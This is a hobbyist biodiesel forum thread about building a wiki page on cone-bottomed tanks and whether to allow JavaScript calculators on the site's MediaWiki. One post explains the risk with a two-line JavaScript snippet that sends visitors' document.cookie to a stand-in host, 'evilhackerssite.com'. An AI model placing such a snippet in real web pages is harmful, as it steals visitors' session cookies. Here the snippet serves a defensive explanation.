Biopowered - vegetable oil and biodiesel forum
Biodiesel => Biodiesel equipment => Topic started by: Julian on January 21, 2012, 09:49:32 PM
-
I've just started a page on cone bottoms. The page is far from complete but Jim has offered to assist, so it's posted for editing proposes only.
http://www.biopowered.co.uk/wiki/Cone_bottoms_for_tanks
-
No doubt you,ve seen this
http://journeytoforever.org/biodiesel_processor3.html
-
Didn't know he'd taken up condiment brewing
-
No doubt you,ve seen this
http://journeytoforever.org/biodiesel_processor3.html
Yes, seen it.
I thought it was a little confusing and could be improved ... but I'm not sure that I've achieved that though!
I did want the page to be original so it was wholly credited to the wiki.
I very much like the calculator to which JTF link, I'm sure Tony could knock one up, but we have issues with interactive content within the wiki.
-
There must be a way - I'll take an action to try and find out.
-
Didn't know he'd taken up condiment brewing
K.H has just kindly pointed out my mistake. I was wondering what the hell you were on about before he did! My minor typing error is now corrected.
And any-bloody-how, jam isn't a condiment!
-
There must be a way - I'll take an action to try and find out.
That would be great. Some of the other calculators you've done should be on the wiki too,
-
Could you not just have a downloadable spreadsheet like the other excel stuff on here?
If it interacted away from the Wiki, it's safer for the Wiki and the end user gets a copy to keep on their computer.
-
Could do, the catch is that at least one of the javascript calculators has been set up such that you edit any box and it calculates the rest (pump pressure head one). I don't know how you could do that with a spreadsheet without resorting to visual basic.
The existing JS ones are here:
http://www.biopowered.co.uk/other/heating_calculator.html
http://www.biopowered.co.uk/other/pump_pressure_head.html
http://www.biopowered.co.uk/other/titration.html
I see Jim has editted the cones page. Didn't realise the cone radius is set to the final diameter, that's quite a lot smaller.
Aren't we all up late today!
-
I see the problem. Would it be too much work/hassle to have the calculators on a remote site and link to them?
-
Well we could link to them from the wiki right now - it's just that it would be nice to include them "wrapped up in a wiki page" as it were - actually in a page on the wiki.
The issue isn't the location of the files themselves, it's in allowing enabling embedded javascript on wiki pages (presents a security risk if malicious code is added). I guess for most wikis that's a massive risk because anyone can come along and edit a page to add javascript, whereas here we're a little more selective over who can edit pages.
Thinking about it, perhaps it isn't such a bad thing to allow javascript on wiki pages?
-
I have a nice graphic from Jim to redraw and Jim has kindly offered to add some blurb once it's published describing a geometric method of arriving at the development of a cone. But I still think if we could have a calculator similar to the JTF one it would improve the page no end.
Any further thoughts on allowing javascript? If it's a matter of who has the rights to edit the wiki, we could police it differently. There have only been a handful of contributors so far, so we could remove editing rights from all but those who have contributed and set up a system for new people wishing to contribute, to request editorship rights.
Any thoughts?
-
If that's the only way we can do it. It could be that we can limit editting of particular pages with calculators to a subset of trusted members - without affecting other user's abilities to edit the rest of the wiki.
If I remember rightly it is possible to set up a page vetting system before updates are published too, so those pages would have edits vetted before admin approved them to be shown in the wiki.
Sorry I've been little overrun with tasks lately otherwise this would already be figured out - just need to spend a bit of time on it.
We do want this to be the best wiki, and I wouldn't want a technical issue to prevent us from making it such.
-
Excuse my ignorance but could the pages with calcs not be locked in the same way that Julian has locked the 'new page' and 'creating pages' pages? This would leave all pages open for editing except those that contained javascript.
-
Probably. I don't know how Julian did that though!
-
http://en.wikipedia.org/wiki/Wikipedia:Protection_policy
-
I'm not sure page protection is the answer. If I'm understanding the problem correctly (which is highly unlikely), we want to stop anyone but trusted editors adding code which could be malicious.
I had a little Google and came up with this page ... https://prep09geogebra.pbworks.com/w/page/18304744/Adding%20Javascript%20to%20a%20wiki%20page I have no idea if it applies to our type of wiki, but is this the sort of thing we need?
-
I'm pretty sure I don't understand it properly either but surely if you have locked the page so that it can only be edited by an administrator, how can anyone other than administrators add malicious code?
-
I think we need an add on to allow JavaScript.
If that can be applied to selected pages, then you suggestion will work. If the add on applies to the whole wiki, then it's not really in the wiki sprit to have all the pages locked.
The ideal would be for only admin (for admin, read Tony as he's the only one with the ability to do it) to be able to add the script, which, I think is what the link I posted above is suggesting.
Wish I knew more to be able to progress things!
-
There are a couple of ways javascript can be turned on.
By a setting in the configuration file that enables it globally on pages.
By adding an extension like this one to include external javascript files:
http://www.mediawiki.org/wiki/Extension:WikiScript
However, both are global. Any user making a new page would be able to add random javascript, or include a random offsite javascript file.
An example of why this is bad:
Assuming I am Mr Evil Hacker, I add the following code to any page:
i = new Image();
i.src = 'http://evilhackerssite.com/store_cookie_data?c=' + document.cookie;
Now I get to steal cookies from anyone that visits the page.
Locking individual pages with JS on does not prevent users adding it to any other page.
I had a look at the prep09geogebra plugin but that looks like it's for a specific platform or addon - certainly we don't have any plugin mechanism here.
-
Also, from:
http://www.mediawiki.org/wiki/Extension:Lockdown
If you need per-page or partial page access restrictions, you are advised to install an appropriate content management package. MediaWiki was not written to provide per-page access restrictions, and almost all hacks or patches promising to add them will likely have flaws somewhere, which could lead to exposure of confidential data. We are not responsible for anything being leaked, leading to loss of funds or one's job.
For further details, see Security issues with authorization extensions
I think we're snookered.
The alternative is to switch from a wiki to a CMS, say MODx (not Joomla *shudder*), and move all 90 articles. (CMS do allow JS extensions and restrict based on user permissions).
The disadvantage of a CMS is that I don't think it will be easy to cross link all the pages as we do in the wiki.
And of course we'd end up breaking all our external links in from offsite.
-
But Tony, we're relying on you.
I had you down as a chap who could achieve anything internet related with little effort.
There'll be a lot of very upset wiki readers, worldwide if you let us down.
Is there any mechanism which will flag up JavaScript as soon as it's added? We could then delete it and ban the user. Remember, we've already approved all members as being known to us via the VOD, other newcomers don't get editor rights.
-
New diagram uploaded for Jim ... http://www.biopowered.co.uk/wiki/File:Cone_development.png